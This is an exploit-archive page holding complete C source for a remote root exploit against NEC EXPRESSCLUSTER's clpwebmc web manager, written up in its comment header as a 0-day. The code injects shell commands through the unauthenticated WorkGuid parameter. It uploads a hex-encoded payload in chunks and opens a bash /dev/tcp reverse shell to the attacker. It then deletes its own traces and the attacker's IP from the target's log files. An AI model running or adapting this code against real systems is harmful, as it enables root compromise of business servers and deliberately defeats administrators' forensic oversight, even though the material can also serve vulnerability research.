NEC EXPRESS CLUSTER clpwebmc Remote Root



EKU-ID: 6905 CVE: OSVDB-ID:
Author: cenobyte Published: 2017-09-06 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
 * 2017 update: as of 3.3.4 this bug seems to be fixed
 * - fixed versions:
 * NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64)
 * NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64)
 */
/*
 * *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE ***
 *
 *   NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015
 *                        <vincitamorpatriae@gmail.com>
 *
 * - product description:
 * NEC EXPRESS CLUSTER is a family of integrated high availability and disaster
 * recovery software solutions that address the fast recovery and continuous
 * protection needs of business critical applications and data. With increased
 * servers and complexity of server applications running Windows or Linux,
 * EXPRESS CLUSTER minimizes planned and unplanned system outages.
 *
 * - vulnerability description:
 * NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster
 * configuration and management. The underlying webserver 'clpwebmc' runs as
 * root and accepts connections on TCP port 29003 which can be initiated without
 * authentication in the default installation.
 *
 * A function is available to remove temporary work directories by issuing the
 * following GET request to port 29003, appended with the location of the
 * directory that is supposed to be deleted:
 * GET /DeleteWorkDirectory.js?WorkGuid=directoryname
 *
 * The working of the DeleteWorkDirectory.js HTTP request roughly translates to
 * the following C code:
 *
 * void
 * remove_dir_path(char *WorkGuidParameter)
 * {
 *  char x[128];
 *  snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s",
 *      WorkGuidParameter);
 *  system(x);
 * }
 *
 * No input sanitation is performed and the supplied arguments are passed
 * straight on to system(). By setting the WorkGuid parameter to '0' and
 * appending  a semicolon followed by arbritrary commands it is possible to
 * execute those commands as root on the remote machine.
 *
 * Example HTTP GET request with command injection:
 * GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt
 *
 * Which results on the remote host:
 * $ ls -la /tmp/id.txt
 * -rw-rw-rw-  1 root root 57 Apr 20 16:37 /tmp/id.txt
 * $ cat /tmp/id.txt
 * uid=0(root) gid=0(root) groups=0(root)
 *
 * - tested vulnerable versions:
 * NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6
 * NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6
 * NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5
 * NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5
 *
 * - tested versions not vulnerable:
 * NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4
 *
 * - exploit details:
 * This exploit is fully "weaponized" as they call it nowadays. It starts a
 * listening port on the attacking host and connects back from the victim host
 * using bash /dev/tcp redirection. The attacking host cannot be behind NAT or
 * run a firewall due to the nature of connect-back.
 *
 * A payload system is utilised where commands are encoded to hex and split into
 * chunks. These chunks are then sent one by one to the victim host and appended
 * to a temporary file using 'echo -ne'. The temporary file gets executed in the
 * last request.
 *
 * For OPSEC purposes the temporary file will destroy itself and
 * all traces of the exploit and your IP will be deleted from these log files:
 * /opt/nec/clusterpro/log/webmgr.log.cur
 * /opt/nec/clusterpro/log/webmgr.err.cur
 *
 * - exploit compilation:
 * gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2
 *
 * - the exploit connect-back listener is confirmed to work on:
 * CentOS 6
 * Fedora 22
 * OS X 10.10.5
 *
 */

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"

#define HEAD "HEAD / HTTP/1.1"
#define CLPWEBMCPORT 29003
#define DEFAULTPORT 8080
#define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */
#define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */
#define AUTH "Authorization: admin:"
#define HTTP " HTTP/1.1\n"
#define CRLF "\n\n"

#define BUFSIZE 1024
#define MAXPROCCMD 194 /* max len of request.c: process_command parameter */

#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"

#define CHMOD "chmod 755 "
#define OVERWRITE "head -1024 /dev/urandom>"
#define UNLINK "rm -f "
#define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s"
#define ECHO "%secho -ne \"%s\">>%s%s"
#define LOG "/opt/nec/clusterpro/log/webmgr"
#define ECPATH "/opt/nec/clusterpro/0"
/* use the logged info leak GET request to find out the IP to connect-back */
#define CONNECTBACK "(/bin/bash 0</dev/tcp/" \
   "$(grep GetConfiguration %s.log.cur|" \
   "grep IP=|tail -1|tr ':' '\\n'|" \
   "grep Root=1|cut -d, -f1)" \
   "/%d 1>&0 2>&0) &"
/* remove all log entries that reveal the vulnerability, exploit and our IP */
#define ANTIFOR "(sleep 5;for x in log err;do " \
      "grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \
      "cat %s.0>%s.$x.cur;" \
      "rm -f %s.0;" \
      "done) &"
/* TMPPATH is the remote directory where the payload will be stored, you could
 * use /tmp but there's a fair chance that the sysadmin has mounted that with
 * 'noexec'
 */
#define TMPPATH "/opt/nec/clusterpro/log"

int sock;
int listsock;
int list_s;
int flags;
int port = CLPWEBMCPORT;
int connectback = DEFAULTPORT;

extern char *__progname;
char *host;
char *md5;

int
validport(int port, char *p)
{
 if ((port < 1) || (port > 65535)) {
  printf("error: %d is an invalid %s port\n", port, p);
  return(1);
 }

 return(0);
}

void
usage()
{
 printf("usage: %s -h <host> [-p|-c|-m]\n", __progname);
 printf("\t-p [port (default: %d)]\n", port);
 printf("\t-c [connect-back port (default: %d)]\n", connectback);
 printf("\t-m [admin user md5 hash]\n\n");
 exit(1);
}

char
*genrandom()
{
 int len = strlen(TMPPATH) + 8;
 int n;

 char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz";
 char *r = malloc(sizeof(char)*(len + 1));

 sprintf(&r[0], "%s/", TMPPATH);

 srand(time(NULL));
 for (n = strlen(TMPPATH) + 1; n < len; n++)
  r[n] = s[rand() % strlen(s)];

 r[len] = '\0';

 return(r);
}

int
opensock(char *host, unsigned short int port)
{
 int s;

 struct hostent *target;
 struct sockaddr_in addr;

 target = gethostbyname(host);
 if (target == NULL) {
  perror("gethostbyname");
  exit(1);
 }

 s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
 if (s == -1) {
  perror("socket");
  exit(1);
 }

 memcpy(&addr.sin_addr, target->h_addr, target->h_length);

 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);

 if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
  perror("connect");
  exit(1);
 }

 return(s);
}

void
sendsock(char *buf)
{
 char readbuf[1024];

 if (strlen(buf) >= MAXPROCCMD) {
  printf("sendsock() max len exceeded");
  exit(1);
 }

 sock = opensock(host, port);
 if (write(sock, buf, strlen(buf)) < 0) {
  perror("write");
  exit(1);
 }

 if (write(sock, CRLF, strlen(CRLF)) < 0) {
  perror("write");
  exit(1);
 }

 if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) {
  perror("read");
  exit(1);
 }

 if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) {
  if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL)
   printf("[!] md5 hash is invalid %s\n", md5);
  else
   printf("[!] unknown error: [%s][%lu]\n", readbuf,
       strlen(readbuf));

  exit(1);
 }

#ifdef VERBOSE
 printf("[-] sendsock(): HTTP/1.1 200 OK\n");
#endif
 close(sock);
}

void
writepayload(char *p, char *path)
{
 char buf[MAXPROCCMD];

 if (md5 == NULL)
  snprintf(buf, sizeof(buf), ECHO,
      GET, p, path, HTTP);
 else
  snprintf(buf, sizeof(buf), ECHOAUTH,
      GET, p, path, HTTP, AUTH, md5);

 if (strlen(buf) > MAXPROCCMD) {
  printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf);
  exit(1);
 }

 sendsock(buf);
}

void
execpayload(char *path)
{
 char buf[MAXPROCCMD];

 printf("[*] executing payload\n");

 if (md5 == NULL) {
  snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP);
  sendsock(buf);

  snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP);
  sendsock(buf);
 } else {
  snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path,
      HTTP, AUTH, md5);
  sendsock(buf);

  snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH,
       md5);
  sendsock(buf);
 }
}

void
sendcmd(char *p, char *path)
{
 int i;
 int n = 1;
 int c = 0;
 int maxchunksize;
 int req;

 static char buf[MAXPROCCMD];

 if (md5 == NULL) {
  req = strlen(GET) + strlen(HTTP) + strlen(path) + \
   strlen(ECHO) + strlen(CRLF);
 } else {
  req = strlen(GET) + strlen(HTTP) + strlen(path) + \
   strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \
   strlen(md5);
 }

#ifdef VERBOSE
 printf("[-] command: \"%s\"\n", p);
#endif

 maxchunksize = (MAXPROCCMD - req) / 4;

 /* make the payload destroy itself on the filesystem during execution
  */
 printf("[*] adding self destruct to payload: %s\n", path);
 snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path);
 writepayload(buf, path);
 snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path);
 writepayload(buf, path);
 
 if (strlen(p) > maxchunksize) {
  printf("[-] command exceeds available space in GET request\n");
  printf("[-] have to split in chunks\n");
 }

 printf("[*] uploading command payload to: %s\n", path);
 printf("    payload size: %lu\n", strlen(p));
 printf("    payload chunk space: %d\n", maxchunksize);
 printf("    number of chunks: %lu\n", strlen(p) / maxchunksize);

 printf("[*] uploading:\n");
 printf("    chunk %d", n);
#ifdef VERBOSE
 printf(" |  ");
#endif

 /* turn commands into a hex payload of 'maxchunksize' byte chunks which
  * are saved to the filesystem. this is to bypass '&' filtering and to
  * get around the maximum size of GET requests allowed by clpwebmc
  */
 for (i = 0; i < strlen(p); i++) {
  sprintf(&buf[c * 4],"\\x%02x", p[i]);
#ifdef VERBOSE
  printf("  %c ", p[i]);
#endif
  if (c == (maxchunksize - 1)) {
   
#ifdef VERBOSE
   printf("\n    chunk %d", n);
   printf(" | %s", buf);
#endif
   printf("\n");
   writepayload(buf, path);
   c = 0;
   n++;

   printf("    chunk %d", n);
#ifdef VERBOSE
   printf(" |  ");
#endif
  } else {
   c++;
  }
 }

#ifdef VERBOSE
 printf("\n    chunk %d", n);
 printf(" | %s", buf);
#endif
 printf("\n");

 writepayload(buf, path);

 execpayload(path);
}

void
checkserver()
{
 char buf[BUFSIZE];

 sock = opensock(host, port);
 if (write(sock, HEAD, strlen(HEAD)) < 0) {
  perror("write");
  exit(1);
 }

 if (write(sock, CRLF, strlen(CRLF)) < 0) {
  perror("write");
  exit(1);
 }

 if (read(sock, buf, sizeof(buf) - 1) < 0) {
  perror("read");
  exit(1);
 }

 close(sock);

 /* older clpwebmc versions present themselves as: ClusterProWebmanager
  * newer versions use: ClusterWebmanager
  */
 if (strstr(buf, "Server: Cluster") == NULL || \
     strstr(buf, "Webmanager") == NULL) {
  printf("error: %s:%d is not running clpwebmc\n", host, port);
  exit(1);
 }

 /* this GET request gets logged */
 sock = opensock(host, port);
 if (write(sock, INFO, strlen(INFO)) < 0) {
  perror("write");
  exit(1);
 }

 if (write(sock, CRLF, strlen(CRLF)) < 0) {
  perror("write");
  exit(1);
 }

 if (read(sock, buf, sizeof(buf) - 1) < 0) {
  perror("read");
  exit(1);
 }

 close(sock);

 /* OS checker
  * WebMgrVersion="WebMgr2.1.1_Linux"
  * WebMgrVersion="WebMgr3.0.0_Win"
  */
 if (strstr(buf, "_Linux\"") == NULL) {
  printf("\n");
  printf("[!] cannot exploit, %s is not running Linux\n", host);
  printf("    (your IP has been logged by the target system)\n");
  exit(1);
 }

 printf("[-] %s:%d is Linux running clpwebmc\n", host, port);

 if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) {
  printf("[!] cannot exploit: clpwebmc has a password set\n");
  printf("    see usage how to send an admin password\n");
  printf("    (your IP has been logged by the target system)\n");
  printf("\n");
  usage();
  exit(1);
 }
}

void
setuplistener()
{
 struct sockaddr_in addr;

 printf("[*] setting up connect-back listener on port: %d\n",
     connectback);

 if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
  perror("socket");
  exit(1);
 }

 addr.sin_family = AF_INET;
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 addr.sin_port = htons(connectback);

 if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
  perror("bind");
  exit(1);
 }

 if (listen(list_s, BUFSIZE) < 0) {
  perror("listen");
  exit(1);
 }

 /* set O_NONBLOCK on listening socket */
 flags = fcntl(list_s, F_GETFL, 0);
 if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) {
  perror("fcntl");
  exit(1);
 }
}

void
connectshell()
{
 int p;

 char buf[BUFSIZE];

 struct timeval tm;

 fd_set rset;

 printf("[*] connecting to shell\n");

#ifdef __APPLE__
 /* remove O_NONBLOCK flag on OS X machines */
 flags = fcntl(list_s, F_GETFL, 0);
 if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) {
  perror("fcntl");
  exit(1);
 }
#endif

 if ((listsock = accept(list_s, NULL, NULL)) < 0) {
  perror("accept");
  exit(1);
 }

 p = send(listsock, CMD, strlen(CMD), 0);
 if (p == -1) {
  perror("send");
  exit(1);
 }

 printf("[-] connect-back successful\n\n");

 tm.tv_sec = 10;
 tm.tv_usec = 0;

 while (1) {
  FD_ZERO(&rset);
  FD_SET(listsock, &rset);
  FD_SET(STDIN_FILENO, &rset);
  select(listsock + 1, &rset, NULL, NULL, &tm);

  if (FD_ISSET(listsock, &rset)) {
   p = read(listsock, buf, sizeof(buf) - 1);
   if (p <= 0)
    exit(0);

   buf[p] = 0;
   printf("%s", buf);
  }

  if (FD_ISSET(STDIN_FILENO, &rset)) {
   p = read(STDIN_FILENO, buf, sizeof(buf) - 1);

   if (p > 0) {
    buf[p] = 0;
    write(listsock, buf, p);
   }
  }
 }
}

int
main(int argc, char *argv[]) {
 int opt;

 char cmd[BUFSIZE];

 printf("%s\n\n", HDR);

 if (argc < 3)
  usage();

 while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1)
  switch (opt) {
   case 'h':
    host = optarg;
    break;
   case 'p':
    port = atoi(optarg);
    if (validport(port, "target") != 0)
     exit(1);
    break;
   case 'c':
    connectback = atoi(optarg);
    if (validport(connectback, "connect-back") != 0)
     exit(1);
    break;
   case 'm':
    md5 = optarg;
    printf("[-] using admin auth: %s\n", md5);
    break;
   default:
    usage();
  }

 if (host == NULL)
  usage();

 checkserver();
 setuplistener();

 snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback);
 sendcmd(cmd, genrandom());

 /* remove all traces of the payload that were logged by webmgr
  * also remove all remove_tmp_webm system entries as it reveals our vuln
  */
 printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG);
 snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG);
 sendcmd(cmd, genrandom());

 connectshell();

 /* never reached */
 return(0);
}